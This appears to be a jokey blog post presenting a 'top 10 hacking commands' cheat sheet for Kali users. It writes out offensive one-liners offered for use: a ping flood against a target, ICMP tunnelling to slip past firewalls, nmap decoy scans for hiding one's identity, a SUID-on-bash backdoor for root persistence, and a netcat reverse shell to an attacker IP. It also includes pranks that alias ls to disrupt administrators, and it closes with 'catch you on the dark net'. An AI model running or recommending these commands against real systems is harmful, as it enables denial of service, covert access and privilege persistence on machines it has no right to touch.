The Real “Top 10 Hacking Commands” That’ll Turn Your Terminal into a Weapon
Yo Hackers, Script Kiddies, and Digital Nomads!
Pull up a chair, fire up your Kali VM, and strap in — this ride is pure 🔥.
I just fell face-first into the most epic hacking cheat sheet ever dropped into the terminalverse. We’re talking packet floods, ICMP tunneling sorcery, backdoor persistence spells, and Nmap command-line acrobatics that’d make even the grumpiest sysadmin weep.
So what are we dealing with? It’s called:
“Here Are the Top 10 Hacking Commands You Need to Know”
(A.K.A. “How to Summon Chaos with a Keyboard”)
☕ Powered by Coffee, Fueled by Curiosity
This isn’t your dad’s “how to ping Google” tutorial. This is real.
We’ve got ping commands on steroids, subdomain enumeration madness, packet captures that make WireShark cry, and even a train (yes, a literal ASCII train) that hijacks your terminal.
Let’s break down the tastiest nuggets of hacker goodness.
🔥 Top 10 Insane Highlights:
1. Ping Goes Nuclear
Forget 64 bytes — let’s flood hosts like it’s a biblical event.
1
ping -s 1300 -f <target>
Pair this with iftop and watch the chaos unfold in real-time. It’s like watching a traffic jam… that you caused. On purpose.
2. Tunnel SSH Over ICMP – WHAT?!
TCP over ICMP? That’s like shoving a 4x4 through a straw. But yeah…
1
ptunnel
Run it, then SSH over echo requests. Firewalls? What firewalls?
3. Nmap With Decoys – Become a Ghost
Hide in plain sight by scanning with random decoys:
1
nmap -D RND:10 <target>
Now they don’t know who hit them. Could be you. Could be Aunt Becky.
4. Run Bash As Root Anytime
John Hammond dropped a root-level nuke:
1
sudo chmod +s /bin/bash
Now you can do:
1
/bin/bash -p
Congrats, you’re root. You’re the captain now.
5. ASCII Steam Train (Yes, Really)
Mistype ls as sl and… choo choo, your terminal’s hijacked.
1
sl
Bonus troll: alias ls='sl' and make your ops team question life.
6. Wireshark’s Evil Cousin: tshark
CLI packet-fu so powerful you’ll salivate:
1
tshark -i eth0 -Y "http.request.method == \"GET\""
Sniff only GETs. Like HTTP Tinder.
7. Netcat: King of Reverse Shells
Want shell access from a remote box? Netcat. Always Netcat.
1
2
attacker: nc -lvp 1337
target: nc -e /bin/sh <attacker-ip> 1337
Boom. Shell delivered, piping hot.
8. Proxy Yourself to Japan via SSH
Why be tracked when you can vanish?
1
ssh -D 1337 -C -q -N user@remote
Then set your browser proxy to SOCKS5 on port 1337.
Suddenly, you’re in Osaka eating ramen… virtually.
9. Enumerate Subdomains Like a Pro
Use GoBuster, Sublist3r, or amass.
Not only do they sound cool — they are cool.
Find everything they thought was hidden.
10. Set a Terminal Trap with /dev/urandom
Alias ls to:
1
cat /dev/urandom
Boom. Terminal chaos. Admin rage. You win.
🤯 Bonus: The Reverse Chat Server in Netcat
Ever texted someone via Netcat? Now you can.
It’s like AOL chat… in 1994… but worse. And cooler.
💾 Forensic Ninja Mode
Use tcpdump, tshark, and tshark’s crazy filtering:
1
tshark -r capture.pcap -qz endpoints,ip
See every endpoint connection. Follow streams.
You’re the Matrix now.
💬 Final Words
If your bash history ain’t lookin’ like a warzone by now… did you even hack, bro?
So grab this cheat sheet, spin up your VM, sip some coffee (or yerba mate if you’re that guy), and go make some noise on the wire. Because at the end of the day:
“If your terminal isn’t screaming, you’re not doing it right.”
Catch you on the dark net,
👾 — /root
